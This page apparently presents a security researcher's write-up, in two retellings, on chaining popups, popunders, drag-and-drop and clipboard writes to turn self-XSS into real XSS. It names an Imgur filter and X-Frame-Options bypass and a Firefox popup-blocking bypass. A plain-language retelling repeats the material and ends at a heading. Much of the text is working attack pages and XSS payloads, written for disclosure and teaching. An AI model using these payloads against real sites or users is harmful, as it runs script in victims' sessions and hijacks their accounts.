Pop-Ups in a good-world
The article describes a set of browser-behaviour techniques for turning self-XSS into real XSS, including a Firefox popup-blocking bypass where a synthetic click is treated as a genuine user click, and an Imgur case where a weak filter and a missing X-Frame-Options header on an embed endpoint allowed a chained attack. An attacker could get script to run in the victim's session on the target site after a few user interactions.
Published on gccybermonks.com
This research was fun to do and I believe it addresses some cool and theoretically interesting techniques, some things have already been reported, and others, due to the format that these technologies were made, don’t need to be reported, as several techniques here are considered by design in browsers. One of the main…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This research is about popups: how browsers decide whether a page may open a new window, how a page can keep or lose focus over a window it opened, and how those mechanics can be chained into client-side exploitation. The author's stated aim was to avoid CSRF and instead build something he jokingly calls "CSWF" (Cross-Site Window Forgery), using popups, popunders, UI redressing and a little clickjacking. The work was done around the time browsers began shipping features against XS-Leaks, so those features are not taken into account here.
The concrete target discussed in the write-up is Imgur, where the author found a self-XSS that the program's scope said would not be considered without a good chain. The article also uses a deliberately vulnerable local page (victim.html, form.html) and a challenge page at vulnerabledoma.in to demonstrate the techniques.
Setup
The demonstrations use:
- A local attacker page served from
http://localhost(ports 81 and 84 appear in the examples) and a localdownload_attach.phpthat returns a file with a content-attachment header. - A local victim page with a self-XSS sink, either
victim.htmlorform.html. - A
webhook.siteURL as a second origin for the iframe clipboard case. - Firefox and Chrome, since several behaviours differ between them.
- For the Imgur chain, the album embed endpoint
/a/IMAGE_ID/embed.
No versions, headers or account roles beyond these are given.
Finding it
The starting point is the browser's popup blocking. Opening a single page is allowed; a page that tries to open two or more tabs at once without direct user interaction is restricted. The first example is the allowed case:
<html>
<head></head>
<body>
<a href='https://example.com' '_blank'>open example.com</a>
</body>
</html>
The second is the blocked case, where a loop opens five windows from a click handler:
<html>
<head>
</head>
<body>
<a href=# id=click>open example.com</a>
<script>
click.onclick = () => {
for(var i =0; i<5;i++){
window.open('https://example.com/','_blank');
}
}
</script>
</body>
</html>
When a popup blocking bypass is triggered, the result looks like the demonstration below.
A popunder is the related primitive: a new window is opened and focus is immediately shifted back from it to the source window. If attack.html contains <script>window.open('https://example.com/','_blank')</script>, the browser opens the new tab on https://example.com/, and either example.com must focus attack.html again or attack.html must focus itself by another technique.
Exploitation
Step 1: drag payload into a self-XSS (Chrome and Firefox)
The author noticed that when a drag event sets metadata via dataTransfer.setData and the page is put inside another window, the data keeps working. dataTransfer.setData resembles navigator.clipboard, except that it only fires inside a drag event and therefore needs user interaction. The attacker page is:
1 drag me
2 <script>
3 document.addEventListener("dragstart",(event)=>{
4 event.dataTransfer.setData("text","<img src=x onerror=alert(document.domain)>");
5 })
6 ondrag = () =>{
7 setTimeout(()=>{
8 window.open('http://localhost:84/victim.html');
9 },1000);
10 }
11 </script>
Line 1 is text to convince the victim to start the drag; line 3 listens for the start of the drag; line 4 replaces the dragged content with the payload; line 6 runs a function on drag; line 8 opens the page containing the self-XSS. The author notes this was previously presented by @renwax23, whose version uses scrolling so the payload saved in setData lands in a vulnerable field at the end of the page.
Step 2: clipboard variant with an autofocused input (Chrome and Firefox)
This variant uses navigator.clipboard instead. It works more naturally when the vulnerable input has an id, so a new window can be opened and the input focused automatically after load. The victim page:
<html>
<head>
<style>
#xss{
height: 100px;
width: 700px;
}
</style>
</head>
<body>
<form>
<input id=xss type=text>
</form>
<div id=output></div>
<script>
setInterval(()=>{
output.innerHTML=xss.value;
},1500)
</script>
</body>
</html>
The attacker page writes the payload to the clipboard every 500 ms and, on a keypress, opens the victim page with the fragment #xss so the input is focused:
1 <html>
2 <head>
3 </head>
4 <body>
5 press ctrl+v
6 <script>
7 onkeypress=()=>{
8 setTimeout(()=>{
9 window.open('http://localhost/form.html#xss');
10 },500)
11 }
12 setInterval(()=>{
13 navigator.clipboard.writeText('<img src=x onerror=alert(1)>');
14 },500)
15 </script>
16 </body>
17 </html>
Step 3: drag into an iframe (Firefox only)
In other browsers at least one click is needed before an iframe can be interacted with. In Firefox that click is not necessary, so an ondrag can end on an input inside an iframe. The victim page:
<html>
<head>
</head>
<body>
<b>result search:</b><p id=output></p>
<input type=text id=inp>
<script>
inp.onfocus=()=>{
output.innerHTML=inp.value
}
</script>
</body>
</html>
The attacker page embeds it and sets the drag data:
<html>
<head>
</head>
<body>
<iframe src="https://vulnerable/form.html">
<script>
document.addEventListener("dragstart",(event)=>{
event.dataTransfer.setData("text","<img src=x onerror=alert(document.domain)>");
});
</script>
</body>
</html>
The attacker page is on a different domain from the victim iframe. Reading content automatically is not a requirement: the same attack can be done with two events, an ondrag and a click. The author chose this presentation because it is more interesting, and says the technique has helped him obtain XSS in bug bounty programs.
Step 4: clipboard into an iframe (Chrome and Firefox)
Focusing an input inside an iframe is possible if the input has a valid id; without one it is harder to focus without user interaction. The iframe page uses autofocus and, on focus, navigates itself to a webhook URL with the fragment #button:
<html>
<head></head>
<body>
<input id=button onfocus="testFocus()" type=text autofocus>
<script>
const testFocus=()=>{
location.href="https://webhook.site/1d555163-68cd-4ccf-a260-b158747035c4#button"
}
</script>
</body>
</html>
The webhook page reads the value of the input with the same id:
<html>
<head>
</head>
<body>
<input type=text id=button>
<script>
setInterval(()=>{
result.innerHTML=button.value
},1000)
</script>
<div id=result></div>
</body>
</html>
Step 5: turning the Imgur self-XSS into a real XSS
Imgur's filter removes some keywords and tags. <<script> img src=x> becomes <img src=x>. The author found that on events were sanitised correctly, so he tried javascript:alert(1), but the word javascript was filtered too. Splitting the word in two and putting javascript in the middle makes the filter join the parts back together. The resulting payload:
<<script>iframe src=javajavascriptscript:alert(document.domain)>
Step 6: bypassing XFO on Imgur
All imgur.com endpoints were observed to set XFO, but with a rule: the header was only set when the referrer came from another source or when there was no referrer. Within Imgur itself, each user's subdomains had /all/ without XFO, but that surface was smaller and more complex, so the author debugged the main domain instead. One endpoint that accepted being framed was /a/IMAGE_ID/embed, which is meant to embed albums and photos on external sites. Adding one more /embed to the URL opened the actual post page, inside the image, with no XFO protection, and from the upper left corner it was possible to navigate to the upload page.
Step 7: frame counting to detect navigation
The first model needed three user interactions: click the upload button, upload a photo, paste the XSS. With the XFO bypass alone this was possible but unconvincing. The author noticed a large difference in the number of iframes between pages: most pages have more than 3 frames, while the upload? page has only 1. That makes it possible to detect navigation inside the iframe. When framing /a/IMAGE_ID/embed/embed the page will have more than one iframe, and when it navigates to upload? there will be only one:
<iframe id=ifr></iframe>
<script>
ifr.onload=function(){
console.log(ifr.contentWindow.frames.length);
}
</script>
The same detection could be done with another XS-Leak, for example a postMessage sent outside the domain from the upload page that the attacker page could listen to.
Step 8: assembling the Imgur chain
Ondrag has three important parts: ondragstart, ondragend and the content inside dataTransfer. Dragging the image into the iframe is mandatory for the vulnerability to work, and when the image is released a new message appears for the user. navigator.clipboard.writeText() writes the XSS payload into the victim's clipboard. Without frame counting the author does not think the attack would be possible, and without the Firefox ability to interact with the iframe it would be even harder, if not impossible.
A video of the chain and the full PoC code are linked from the article.
Step 9: popunders
The author found no reliable tactic for hunting popunders beyond understanding how events and the browser ecosystem work. A popunder needs an event that creates focus on the window that starts the behaviour. Two authoring methods are shown. The first relies on a download attachment combined with onbeforeunload and automatic navigation:
1 <html>
2 <head>
3 </head>
4 <body>
5 <input type="text" onselect="bug()" oncopy="bug()" value="test me">
6 <script>
7 const bug = () =>{
8 setTimeout(()=>{
9 window.open('http://evil.com/');
10 document.write(`<iframe src=http://localhost/download_attach.php></iframe>
11 <script>
12 onbeforeunload=()=>{
13 return '';
14 }
15 location='//google.com'
16 <\/script>`)
17 },50)
18 }
19 </script>
20 </body>
21 </html>
Line 9 opens the window; line 10 writes an iframe pointing at download_attach.php, which returns a file with a content-attachment header, triggering a download alert; line 12 sets onbeforeunload with return '' to lock navigation; line 15 tries to navigate to google.com, which is blocked by onbeforeunload, producing a second alert. The combination takes focus off the newly opened window.
The first popunder the author encountered uses fullscreen:
<script>
function requestFullScreen(element) {
var requestMethod = element.requestFullScreen || element.webkitRequestFullScreen || element.mozRequestFullScreen || element.msRequestFullScreen;
if (requestMethod) {
requestMethod.call(element);
}
}
onkeypress=function(){
var elem = document.body;
requestFullScreen(elem);
window.open('//example.com','_blank','a');
}
</script>
Popunders are useful when the vulnerable page is heavy or slow to load. The following combines a popunder with the clipboard to upgrade a self-XSS:
<html>
<head>
</head>
<body>
<input type="text" onselect="bug()" oncopy="bug()" value="test me">
<script>
var w;
const bug = () =>{
setTimeout(()=>{
w = window.open('http://localhost:81/form.html','_blank');
document.write(`<iframe src=http://localhost:81/download_attach.php></iframe>
<script>
onbeforeunload=()=>{
return '';
}
location='//google.com'
<\/script>`)
},50)
}
bug();
onkeypress=()=>{
w.focus();
}
setInterval(()=>{
navigator.clipboard.writeText('<img src=x onerror=alert(1)>');
},500)
</script>
</body>
</html>
Step 10: popup blocking bypass in Firefox
This bypass depends on a user click. Firefox appears to fail to distinguish a real user click from a synthetic click event, but the user must first click on the malicious page so the synthetic click can be triggered automatically. The page:
1 <!DOCTYPE html>
2 <html lang="en" dir="ltr">
3 <head>
4 <meta charset="utf-8">
5 <title>Bypass popup Blocking</title>
6 </head>
7 <body>
8 <p><label><input type="checkbox" id="checkbox"> check me </label>
9 <p><button id="button">Click me to spawn a lot of popups</button>
10 <script type="text/javascript">
11
12 onclick=function(e){
13 setTimeout(function(){
14 window.open(location.href,"_blank","toolbar=yes,scrollbars=yes,resizable=yes,top=500,left=500,width=400,height=400")
15 }, 0);
16 }
17
18 function simulateClick() {
19 var evt = new MouseEvent("click", {
20 bubbles: true,
21 });
22 var cb = document.getElementById("checkbox");
23 cb.dispatchEvent(evt);
24 }
25
26 // Spawn an arbitrary number of popups this way
27 var num_popups = 10;
28 for (let i = 0; i < num_popups; i++) {
29 document.getElementById("button").addEventListener('click', () => simulateClick());
30 }
31 </script>
32 </body>
33 </html>
Line 12 adds a click handler that waits for the user's initial click; lines 13 and 14 open the first popup after a timeout; line 18 defines simulateClick; lines 19 and 20 create a mouse click event with bubbles: true; line 23 dispatches it on the checkbox; line 27 sets the number of popups; line 29 adds a listener on the button that calls simulateClick, entering an event loop.
Step 11: reading the clipboard
There is no security feature preventing writes to the clipboard, but reading it requires permission. navigator.clipboard.readText() opens a prompt in the corner of the browser, like the camera or microphone prompt. The author notes the user can be deceived into allowing the read:
<html>
<head>
<title>clipboard reader</title>
</head>
<body>
<pre id=output>
</pre>
<script>
setInterval(()=>{
navigator.clipboard.readText().then(
clipText => output.innerText = clipText);
},500)
</script>
</body>
</html>
Step 12: SOME with popups
SOME (Same Origin Method Execution) was introduced in 2014 by Ben Hayak. The author used Masato's challenge at vulnerabledoma.in/xss_2020-06/ to build a PoC joining SOME and popups. The ugly version opens several windows, each carrying part of the payload:
<html>
<head></head>
<body>
<script>
window.name="alert(document.domain)";
w1 = window.open('http://localhost:81/simple_case.html');
w2 = window.open('http://localhost:81/simple_case2.html')
w3 = window.open('http://localhost:81/simple_case3.html')
w4 = window.open('http://localhost:81/simple_case4.html')
w5 = window.open('http://localhost:81/simple_case5.html')
w6= window.open('about:blank')
setTimeout(()=>{
location="http://vulnerabledoma.in/xss_2020-06/";
},50)
</script>
</body>
</html>
Each simple_case[0-9].html holds a fragment of the payload used in the iframe version:
<html>
<head></head>
<body>
<script>
opener.location="https://vulnerabledoma.in/xss_2020-06/";
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=<script>/*%26callback=opener.document.write"
},1000)
</script>
</body>
</html>
The pretty version uses window names instead of separate files:
<html>
<head>
</head>
<body>
<script>
if(name == 'w1'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=<script>/*%26callback=opener.document.write"
},1000);
}else if(name == 'w2'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=*/eval(/*%26callback=opener.document.write"
},1800);
}else if(name == 'w3'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=*/name);//%26callback=opener.document.write"
},2600);
}else if(name == 'w4'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=//xxxx%26callback=opener.document.write"
},3100)
}else if(name == 'w5'){
setTimeout(()=>{
location="https://vulnerabledoma.in/xss_2020-06/?code=<\/script>%26callback=opener.document.write"
},4100)
}else{
window.name="alert(document.domain)"
window.open('http://localhost/some-popups.html','w1')
window.open('http://localhost/some-popups.html','w2')
window.open('http://localhost/some-popups.html','w3')
window.open('http://localhost/some-popups.html','w4')
window.open('http://localhost/some-popups.html','w5')
window.open('about:blank')
location="https://vulnerabledoma.in/xss_2020-06/"
}
</script>
</body>
</html>
Window names w[0-9] classify which part of the payload each window carries, and each if redirects the window to the required fragment.
Step 13: CSS timing attack without iframes
The author previously developed a solution to the problem presented in a CSS timing attack blog post where exploitation was done via iframes. When the page has X-Frame-Options, the logic must change. The attack generates timing variances in a vulnerable page to predict the value of an attribute. :has is used because it enters the HTML tree, and repeated :has enters it repeatedly, producing a measurable timing. The sink is an expression such as:
$("#"+userInput); or $(userInput)
userInput is usually location.hash, so $(location.hash) is also seen, because the # remains in the call. The PoC linked in the article opens new windows instead of iframes. One problem is knowing whether the window has finished loading, which is solved with window.length, because during testing an iframe was found loading after the CSS timing attack. Frame counting is an XS-Leaks technique. Two changes are needed to reuse the PoC: replace HOST with the vulnerable URL, and change the 50 in setTimeout(() => {resolve ({status: true, leak: letter})}, 50); to a value suited to the attack and network connection.
Root cause
The techniques rest on browser behaviours rather than a single coding mistake. Firefox does not require a click before an iframe can receive a drag, and it appears to treat a synthetic click as a user click for popup blocking purposes. dataTransfer.setData and navigator.clipboard.writeText let an attacker page place a payload where the victim will paste or drop it. On Imgur, the filter removed keywords and tags but rejoined split words, and the XFO rule only set the header when the referrer was external or absent, so an internal navigation to /a/IMAGE_ID/embed/embed was framable. Frame counting then made the navigation detectable. The author notes that several of these behaviours are considered by design in browsers.
Impact
With these primitives an attacker can upgrade a self-XSS into an XSS that executes in the victim's session, provided the victim performs the required interactions (a drag, a paste, a click, or an upload). The Imgur chain needed three interactions in its first form and was made less perceptible with frame counting and the clipboard. The author reports that using some of the self-XSS upgrade techniques he obtained a total of $2000 in bounties from 7 XSS reports. Popunders can hide an attack or a page, but the author found that most ideas required a browser 0day, and that SOME-based attacks are limited and often without impact if the main window does not automatically execute a task.
Fix
The article does not describe a fix applied by Imgur. It points to the new browser security features aimed at XS-Leaks, such as the window Opener policy and referrer policy, as the direction for further research.
Variants to test
- Drag a payload into a self-XSS field in another window: a positive result is the payload executing after the victim drops the dragged text.
- Clipboard write plus an autofocused input with a known id: a positive result is the payload executing after the victim pastes.
- Drag into an iframe in Firefox: a positive result is the payload landing in the framed input without any prior click on the iframe.
- Frame counting to detect navigation: a positive result is a change in
ifr.contentWindow.frames.lengthwhen the framed page moves to a page with a different frame count. - Filter bypass by splitting a keyword: a positive result is the reassembled keyword surviving the filter, as with
javajavascriptscript. - XFO bypass by adding a path segment to an embed endpoint: a positive result is the post page rendering inside an iframe.
- Popunder via download attachment plus
onbeforeunload: a positive result is focus returning to the source window after the new window opens. - Synthetic click to bypass popup blocking in Firefox: a positive result is multiple windows opening after a single user click.
- SOME with popups against a challenge page: a positive result is the callback executing
opener.document.writewith the attacker's payload. - CSS timing attack without iframes: a positive result is a measurable timing difference that reveals the value of the targeted attribute.
What happened, in plain words
A security researcher spent time playing with one of the most ordinary things a browser does: opening a new window or tab. Websites can ask the browser to open windows, and browsers have a safety feature called popup blocking that stops a site from flooding you with tabs. The researcher found ways around that safety feature, ways to make a new window open and then quietly hand focus back to the page that opened it (a popunder), and ways to plant text in places the victim will later paste or drop it. He then chained those tricks together to turn a self-XSS (a bug that only harms the person who types the payload into their own browser) into a real XSS on Imgur, a site for hosting and sharing images.
An XSS, or cross-site scripting, is when an attacker gets their own JavaScript to run inside someone else's website, in that visitor's browser, with that visitor's logged-in session. A self-XSS is the weak version: the payload only runs if you paste it into your own page yourself, so on its own it is not worth a bounty. The whole article is about closing that gap: how do you get a victim to paste or drop your payload without noticing?
The researcher's stated aim was to avoid CSRF (cross-site request forgery, where a malicious page makes your browser send a request to another site using your cookies) and instead build something he jokingly calls "CSWF" (Cross-Site Window Forgery), using popups, popunders, UI redressing (tricking you into clicking something you did not mean to click, also called clickjacking) and a little clickjacking. The work was done around the time browsers began shipping features against XS-Leaks (side channels that let one site infer things about another site's pages), so those features are not taken into account here.
The concrete target discussed in the write-up is Imgur, where the author found a self-XSS that the program's scope said would not be considered without a good chain. The article also uses a deliberately vulnerable local page (victim.html, form.html) and a challenge page at vulnerabledoma.in to demonstrate the techniques.
Setup
The demonstrations use:
- A local attacker page served from
http://localhost(ports 81 and 84 appear in the examples) and a localdownload_attach.phpthat returns a file with a content-attachment header. A content-attachment header tells the browser "this response is a file to download", not a page to display, so the browser shows a save dialog. - A local victim page with a self-XSS sink, either
victim.htmlorform.html. A sink is the spot in the page where untrusted text ends up being treated as code or markup. - A
webhook.siteURL as a second origin for the iframe clipboard case. A webhook site is a service that gives you a URL and records every request made to it, so you can see when a page reached it. An origin is the combination of scheme, host and port that browsers use to decide which pages may talk to each other. - Firefox and Chrome, since several behaviours differ between them.
- For the Imgur chain, the album embed endpoint
/a/IMAGE_ID/embed. An endpoint is simply a URL on a server that does a particular job;IMAGE_IDis a placeholder for the real identifier of an album.
No versions, headers or account roles beyond these are given.
Finding it
The starting point is the browser's popup blocking. Opening a single page is allowed; a page that tries to open two or more tabs at once without direct user interaction is restricted. Think of it like a bouncer at a door: one guest at a time is fine, but a crowd arriving at once gets stopped. The first example is the allowed case:
<html>
<head></head>
<body>
<a href='https://example.com' '_blank'>open example.com</a>
</body>
</html>
This is a plain HTML page with one link. The <a> tag is a link, href is where it points, and the stray '_blank' is meant to say "open in a new tab" (it is written incorrectly here, but the point is just that a single link click is a user action, so the browser allows the new tab).
The second is the blocked case, where a loop opens five windows from a click handler:
<html>
<head>
</head>
<body>
<a href=# id=click>open example.com</a>
<script>
click.onclick = () => {
for(var i =0; i<5;i++){
window.open('https://example.com/','_blank');
}
}
</script>
</body>
</html>
Line by line: the <a href=# id=click> is a link with the id click, so the script can find it. click.onclick = () => { ... } says "when this link is clicked, run this function". Inside, for(var i =0; i<5;i++) is a loop that runs five times, and each time window.open('https://example.com/','_blank') asks the browser for a new tab. Because five tabs are requested from one click, the browser's popup blocker steps in and refuses most of them.
When a popup blocking bypass is triggered, the result looks like the demonstration below.
A popunder is the related primitive: a new window is opened and focus is immediately shifted back from it to the source window. Focus is which window currently receives your keystrokes. If attack.html contains <script>window.open('https://example.com/','_blank')</script>, the browser opens the new tab on https://example.com/, and either example.com must focus attack.html again or attack.html must focus itself by another technique. In other words, the attacker wants the victim to look at the attacker's page while the interesting page sits behind it.
Exploitation
Step 1: drag payload into a self-XSS (Chrome and Firefox)
The author noticed that when a drag event sets metadata via dataTransfer.setData and the page is put inside another window, the data keeps working. dataTransfer.setData is the browser feature that lets a page attach data to something you are dragging, like putting a note in a parcel before you hand it over. It resembles navigator.clipboard, except that it only fires inside a drag event and therefore needs user interaction. The attacker page is:
1 drag me
2 <script>
3 document.addEventListener("dragstart",(event)=>{
4 event.dataTransfer.setData("text","<img src=x onerror=alert(document.domain)>");
5 })
6 ondrag = () =>{
7 setTimeout(()=>{
8 window.open('http://localhost:84/victim.html');
9 },1000);
10 }
11 </script>
Line 1 is text to convince the victim to start the drag; line 3 listens for the start of the drag; line 4 replaces the dragged content with the payload; line 6 runs a function on drag; line 8 opens the page containing the self-XSS. The payload <img src=x onerror=alert(document.domain)> is an image tag whose source does not exist, so the browser fires the onerror handler, which runs alert(document.domain) and shows a popup with the site's domain name. The setTimeout(...,1000) waits one second before opening the victim page, giving the drag time to finish. The author notes this was previously presented by @renwax23, whose version uses scrolling so the payload saved in setData lands in a vulnerable field at the end of the page.
Step 2: clipboard variant with an autofocused input (Chrome and Firefox)
This variant uses navigator.clipboard instead. The clipboard is the shared buffer behind copy and paste. It works more naturally when the vulnerable input has an id, so a new window can be opened and the input focused automatically after load. The victim page:
<html>
<head>
<style>
#xss{
height: 100px;
width: 700px;
}
</style>
</head>
<body>
<form>
<input id=xss type=text>
</form>
<div id=output></div>
<script>
setInterval(()=>{
output.innerHTML=xss.value;
},1500)
</script>
</body>
</html>
This page has a text input with the id xss and an empty <div id=output>. The script runs setInterval every 1500 milliseconds (1.5 seconds), and each time it copies whatever is in the input into the output div using innerHTML. innerHTML treats the text as HTML, which is exactly why this is a sink: if the input contains an image tag with an onerror, the browser will build that tag and run the handler.
The attacker page writes the payload to the clipboard every 500 ms and, on a keypress, opens the victim page with the fragment #xss so the input is focused:
1 <html>
2 <head>
3 </head>
4 <body>
5 press ctrl+v
6 <script>
7 onkeypress=()=>{
8 setTimeout(()=>{
9 window.open('http://localhost/form.html#xss');
10 },500)
11 }
12 setInterval(()=>{
13 navigator.clipboard.writeText('<img src=x onerror=alert(1)>');
14 },500)
15 </script>
16 </body>
17 </html>
Line 5 shows the text "press ctrl+v" to nudge the victim into pasting. Line 7 sets onkeypress, so any key press starts the chain. Line 9 opens the victim page with #xss on the end; the part after # is the fragment, and browsers scroll to and focus the element whose id matches it. Line 13 keeps overwriting the clipboard with the payload every half second, so whenever the victim pastes, the payload is what lands in the input.
Step 3: drag into an iframe (Firefox only)
An iframe is a page embedded inside another page, like a picture frame on a wall holding a smaller picture. In other browsers at least one click is needed before an iframe can be interacted with. In Firefox that click is not necessary, so an ondrag can end on an input inside an iframe. The victim page:
<html>
<head>
</head>
<body>
<b>result search:</b><p id=output></p>
<input type=text id=inp>
<script>
inp.onfocus=()=>{
output.innerHTML=inp.value
}
</script>
</body>
</html>
This page has a paragraph with id output and a text input with id inp. When the input receives focus (the cursor is placed in it), inp.onfocus copies its value into output.innerHTML, again the sink.
The attacker page embeds it and sets the drag data:
<html>
<head>
</head>
<body>
<iframe src="https://vulnerable/form.html">
<script>
document.addEventListener("dragstart",(event)=>{
event.dataTransfer.setData("text","<img src=x onerror=alert(document.domain)>");
});
</script>
</body>
</html>
The <iframe src="https://vulnerable/form.html"> loads the victim page inside the attacker page. The script listens for dragstart and swaps the dragged text for the payload, so when the victim drops it into the framed input, the input's focus handler copies it into the output and the payload runs.
The attacker page is on a different domain from the victim iframe. Reading content automatically is not a requirement: the same attack can be done with two events, an ondrag and a click. The author chose this presentation because it is more interesting, and says the technique has helped him obtain XSS in bug bounty programs.
Step 4: clipboard into an iframe (Chrome and Firefox)
Focusing an input inside an iframe is possible if the input has a valid id; without one it is harder to focus without user interaction. The iframe page uses autofocus and, on focus, navigates itself to a webhook URL with the fragment #button:
<html>
<head></head>
<body>
<input id=button onfocus="testFocus()" type=text autofocus>
<script>
const testFocus=()=>{
location.href="https://webhook.site/1d555163-68cd-4ccf-a260-b158747035c4#button"
}
</script>
</body>
</html>
autofocus tells the browser to put the cursor in this input as soon as the page loads. When that happens, onfocus calls testFocus, which sets location.href to the webhook URL with #button on the end. The webhook records the visit, and the fragment tells the next page which element to focus.
The webhook page reads the value of the input with the same id:
<html>
<head>
</head>
<body>
<input type=text id=button>
<script>
setInterval(()=>{
result.innerHTML=button.value
},1000)
</script>
<div id=result></div>
</body>
</html>
This page has an input with id button and a div with id result. Every second it copies the input's value into result.innerHTML. Because the URL ended in #button, the browser focuses that input, and the script can then read what is in it.
Step 5: turning the Imgur self-XSS into a real XSS
Imgur's filter removes some keywords and tags. <<script> img src=x> becomes <img src=x>. The author found that on events were sanitised correctly, so he tried javascript:alert(1), but the word javascript was filtered too. Splitting the word in two and putting javascript in the middle makes the filter join the parts back together. The resulting payload:
<<script>iframe src=javajavascriptscript:alert(document.domain)>
Read it slowly: the filter sees java and script as separate pieces and removes the script keyword, but the middle javascript survives, and the pieces rejoin into javascript:alert(document.domain). The javascript: prefix is a URL scheme that runs the code after it when the browser follows the link.
Step 6: bypassing XFO on Imgur
XFO, or X-Frame-Options, is a response header a site sends to tell browsers "do not put my pages inside an iframe". It is a defence against clickjacking. All imgur.com endpoints were observed to set XFO, but with a rule: the header was only set when the referrer came from another source or when there was no referrer. The referrer is the address of the page you came from. Within Imgur itself, each user's subdomains had /all/ without XFO, but that surface was smaller and more complex, so the author debugged the main domain instead. One endpoint that accepted being framed was /a/IMAGE_ID/embed, which is meant to embed albums and photos on external sites. Adding one more /embed to the URL opened the actual post page, inside the image, with no XFO protection, and from the upper left corner it was possible to navigate to the upload page.
Step 7: frame counting to detect navigation
The first model needed three user interactions: click the upload button, upload a photo, paste the XSS. With the XFO bypass alone this was possible but unconvincing. The author noticed a large difference in the number of iframes between pages: most pages have more than 3 frames, while the upload? page has only 1. That makes it possible to detect navigation inside the iframe. When framing /a/IMAGE_ID/embed/embed the page will have more than one iframe, and when it navigates to upload? there will be only one:
<iframe id=ifr></iframe>
<script>
ifr.onload=function(){
console.log(ifr.contentWindow.frames.length);
}
</script>
<iframe id=ifr> creates an empty frame. ifr.onload runs every time the frame finishes loading something. ifr.contentWindow.frames.length counts how many frames are inside the framed page, and console.log prints that number to the browser's developer console. By watching the number change, the attacker page knows which page the victim is looking at, without being allowed to read the page itself.
The same detection could be done with another XS-Leak, for example a postMessage sent outside the domain from the upload page that the attacker page could listen to. postMessage is the browser's way for pages to send messages to each other across origins.
Step 8: assembling the Imgur chain
Ondrag has three important parts: ondragstart, ondragend and the content inside dataTransfer. Dragging the image into the iframe is mandatory for the vulnerability to work, and when the image is released a new message appears for the user. navigator.clipboard.writeText() writes the XSS payload into the victim's clipboard. Without frame counting the author does not think the attack would be possible, and without the Firefox ability to interact with the iframe it would be even harder, if not impossible.
A video of the chain and the full PoC code are linked from the article.
Step 9: popunders
The author found no reliable tactic for hunting popunders beyond understanding how events and the browser ecosystem work. A popunder needs an event that creates focus on the window that starts the behaviour. Two authoring methods are shown. The first relies on a download attachment combined with onbeforeunload and automatic navigation:
1 <html>
2 <head>
3 </head>
4 <body>
5 <input type="text" onselect="bug()" oncopy="bug()" value="test me">
6 <script>
7 const bug = () =>{
8 setTimeout(()=>{
9 window.open('http://evil.com/');
10 document.write(`<iframe src=http://localhost/download_attach.php></iframe>
11 <script>
12 onbeforeunload=()=>{
13 return '';
14 }
15 location='//google.com'
16 <\/script>`)
17 },50)
18 }
19 </script>
20 </body>
21 </html>
Line 5 is a text input that calls bug() when you select its text or copy it. Line 9 opens the window; line 10 writes an iframe pointing at download_attach.php, which returns a file with a content-attachment header, triggering a download alert; line 12 sets onbeforeunload with return '' to lock navigation. onbeforeunload is the browser event that fires when a page is about to be left, and returning a string makes the browser ask "are you sure you want to leave?". Line 15 tries to navigate to google.com, which is blocked by onbeforeunload, producing a second alert. The combination takes focus off the newly opened window.
The first popunder the author encountered uses fullscreen:
<script>
function requestFullScreen(element) {
var requestMethod = element.requestFullScreen || element.webkitRequestFullScreen || element.mozRequestFullScreen || element.msRequestFullScreen;
if (requestMethod) {
requestMethod.call(element);
}
}
onkeypress=function(){
var elem = document.body;
requestFullScreen(elem);
window.open('//example.com','_blank','a');
}
</script>
requestFullScreen is a helper that tries each browser's version of the fullscreen call (requestFullScreen, webkitRequestFullScreen, mozRequestFullScreen, msRequestFullScreen) and uses whichever exists. onkeypress runs when the user presses a key: it takes the page body, puts it in fullscreen, and opens a new window. The fullscreen change moves focus in a way that leaves the new window behind the attacker's page.
Popunders are useful when the vulnerable page is heavy or slow to load. The following combines a popunder with the clipboard to upgrade a self-XSS:
<html>
<head>
</head>
<body>
<input type="text" onselect="bug()" oncopy="bug()" value="test me">
<script>
var w;
const bug = () =>{
setTimeout(()=>{
w = window.open('http://localhost:81/form.html','_blank');
document.write(`<iframe src=http://localhost:81/download_attach.php></iframe>
<script>
onbeforeunload=()=>{
return '';
}
location='//google.com'
<\/script>`)
},50)
}
bug();
onkeypress=()=>{
w.focus();
}
setInterval(()=>{
navigator.clipboard.writeText('<img src=x onerror=alert(1)>');
},500)
</script>
</body>
</html>
Here w stores the new window so it can be focused later. bug() is called immediately, opening the victim page and writing the download iframe to trigger the popunder. onkeypress calls w.focus() to bring the victim window forward when the user types. The setInterval keeps the clipboard loaded with the payload, so a paste into the victim page runs it.
Step 10: popup blocking bypass in Firefox
This bypass depends on a user click. Firefox appears to fail to distinguish a real user click from a synthetic click event, but the user must first click on the malicious page so the synthetic click can be triggered automatically. A synthetic click is one created by JavaScript with new MouseEvent, rather than by a real finger on a mouse. The page:
1 <!DOCTYPE html>
2 <html lang="en" dir="ltr">
3 <head>
4 <meta charset="utf-8">
5 <title>Bypass popup Blocking</title>
6 </head>
7 <body>
8 <p><label><input type="checkbox" id="checkbox"> check me </label>
9 <p><button id="button">Click me to spawn a lot of popups</button>
10 <script type="text/javascript">
11
12 onclick=function(e){
13 setTimeout(function(){
14 window.open(location.href,"_blank","toolbar=yes,scrollbars=yes,resizable=yes,top=500,left=500,width=400,height=400")
15 }, 0);
16 }
17
18 function simulateClick() {
19 var evt = new MouseEvent("click", {
20 bubbles: true,
21 });
22 var cb = document.getElementById("checkbox");
23 cb.dispatchEvent(evt);
24 }
25
26 // Spawn an arbitrary number of popups this way
27 var num_popups = 10;
28 for (let i = 0; i < num_popups; i++) {
29 document.getElementById("button").addEventListener('click', () => simulateClick());
30 }
31 </script>
32 </body>
33 </html>
Line 12 adds a click handler that waits for the user's initial click; lines 13 and 14 open the first popup after a timeout, with window features such as size and position; line 18 defines simulateClick; lines 19 and 20 create a mouse click event with bubbles: true, meaning the event travels up through parent elements; line 23 dispatches it on the checkbox; line 27 sets the number of popups; line 29 adds a listener on the button that calls simulateClick, entering an event loop. Each simulated click on the checkbox is treated by Firefox as if it were a real user click, so each one is allowed to open a window.
Step 11: reading the clipboard
